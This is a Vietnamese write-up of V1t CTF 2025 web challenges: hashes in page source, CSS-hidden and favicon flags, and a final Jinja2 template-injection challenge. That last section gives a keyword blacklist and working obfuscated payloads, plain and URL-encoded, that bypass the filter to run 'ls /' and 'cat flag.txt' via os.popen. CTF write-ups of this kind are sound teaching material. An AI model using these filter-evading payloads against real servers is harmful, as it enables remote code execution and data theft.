V1t CTF 2025 [WEB]

Login Panel

Link challenge: https://tommytheduck.github.io/login/

Khi truy cập, người dùng cần đăng nhập với usernamepassword

Thử inspect source để xem source HTML thấy có usernamepassword sẵn ở dạng SHA256

Khi người dùng nhập username và password, 2 dữ liệu này được mã hóa SHA256 và chuyển qua dạng hex, sau đó so sánh với usernamepassword hardcode dạng SHA256. Nếu đúng thì alert(username+ '{'+password+'}').

Sử dụng crackstation.net để tìm ra username, password plain text

=> Flag: v1t{p4ssw0rd}

Stylish Flag

Link challenge: https://tommytheduck.github.io/stylish_flag/

Chall này vẽ flag bằng pixel art trong CSS.

Ta chỉ cần chỉnh lại chút HTML và CSS để hiện flag. Ở đây mình xóa thẻ h1 và thuộc tính hidden

Ở CSS, tại class .flag xóa tranform và chỉnh opacity: 1. Sau đó ở thẻ body chỉnh justify-content: left.

Kết quả

=> Flag: v1t{h1d30ut_css}

Tiny Flag

Link challenge: https://tommytheduck.github.io/tiny_flag/

Để ý source HTML khi inspect có icon favicon.ico

Flag nằm trong icon này luôn: https://raw.githubusercontent.com/tommytheduck/tiny_flag/refs/heads/main/favicon.ico

Flag: v1t{t1ny_ico}

Mark The Lyrics

Link challenge: https://tommytheduck.github.io/mckey/

Từng phần của flag được bọc trong thẻ mark, chỉ cần lấy theo thứ tự, sau đó ghép thành flag

=> Flag: V1T{MCK-pap-cool-ooh-yeah}

5571

Link challenge: http://chall.v1t.site:30300/

Bày này có lỗ hổng SSTI ở chức năng note mặc dù đã có filter

Thử payload %7B%7B7%2A7%7D%7D (URL encode của {{7*7}}) ra 49

Vậy là sử dụng URL encode sẽ bypass được filter {, }. Bây giờ cần tạo payload bypass các từ khóa trong blacklist.

Sử dụng Fenjing-Legacy: https://github.com/Marven11/FenJing-Legacy/tree/main

Clone về và chạy example.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from ssti import shell_cmd
import logging

logging.basicConfig(level = logging.WARNING)

def waf(s: str):
blacklist = [
'{', '}', '__', 'open', 'os', 'subprocess', 'import', 'eval', 'exec',
'system', 'popen', 'builtins', 'globals', 'locals', 'getattr', 'setattr',
'class', 'compile', 'inspect'
]

for word in blacklist:
if word in s:
return False
return True

payload = shell_cmd(waf, "ls /")

print(payload)

Lấy được payload, nhưng payload này không execute được theo như hình trên do bị blacklist, giờ chỉ cần chỉnh lại payload để thực thi được là được.

Payload mới:

1
{% set x=((lipsum[('_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_')][('_'+'_'+'b'+'u'+'i'+'l'+'t'+'i'+'n'+'s'+'_'+'_')][('e'+'v'+'a'+'l')]))(('_'+'_'+'i'+'m'+'p'+'o'+'r'+'t'+'_'+'_'+'('+'\''+'o'+'s'+'\''+')'+'.'+'p'+'o'+'p'+'e'+'n'+'('+'\''+'l'+'s'+' '+'/'+'\''+')'+'.'+'r'+'e'+'a'+'d'+'('+')')) %}

Sau đó URL encode payload này render thôi

1
%7B%25%20set%20x%3D%28%28lipsum%5B%28%27_%27%2B%27_%27%2B%27g%27%2B%27l%27%2B%27o%27%2B%27b%27%2B%27a%27%2B%27l%27%2B%27s%27%2B%27_%27%2B%27_%27%29%5D%5B%28%27_%27%2B%27_%27%2B%27b%27%2B%27u%27%2B%27i%27%2B%27l%27%2B%27t%27%2B%27i%27%2B%27n%27%2B%27s%27%2B%27_%27%2B%27_%27%29%5D%5B%28%27e%27%2B%27v%27%2B%27a%27%2B%27l%27%29%5D%29%29%28%28%27_%27%2B%27_%27%2B%27i%27%2B%27m%27%2B%27p%27%2B%27o%27%2B%27r%27%2B%27t%27%2B%27_%27%2B%27_%27%2B%27%28%27%2B%27%5C%27%27%2B%27o%27%2B%27s%27%2B%27%5C%27%27%2B%27%29%27%2B%27.%27%2B%27p%27%2B%27o%27%2B%27p%27%2B%27e%27%2B%27n%27%2B%27%28%27%2B%27%5C%27%27%2B%27l%27%2B%27s%27%2B%27%5C%27%27%2B%27%29%27%2B%27.%27%2B%27r%27%2B%27e%27%2B%27a%27%2B%27d%27%2B%27%28%27%2B%27%29%27%29%29%20%25%7D%7B%7B%20x%20%7D%7D

Đọc file flag.txt:

1
{% set x=((lipsum[('_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_')][('_'+'_'+'b'+'u'+'i'+'l'+'t'+'i'+'n'+'s'+'_'+'_')][('e'+'v'+'a'+'l')]))(('_'+'_'+'i'+'m'+'p'+'o'+'r'+'t'+'_'+'_'+'('+'\''+'o'+'s'+'\''+')'+'.'+'p'+'o'+'p'+'e'+'n'+'('+'\''+'c'+'a'+'t'+' '+'f'+'l'+'a'+'g'+'.'+'t'+'x'+'t'+'\''+')'+'.'+'r'+'e'+'a'+'d'+'('+')')) %}{{ x }}

=> Flag: v1t{n0th1ng_b34ts_url_ssti_9cfac8e6b8978e3f6037d9608fed7767}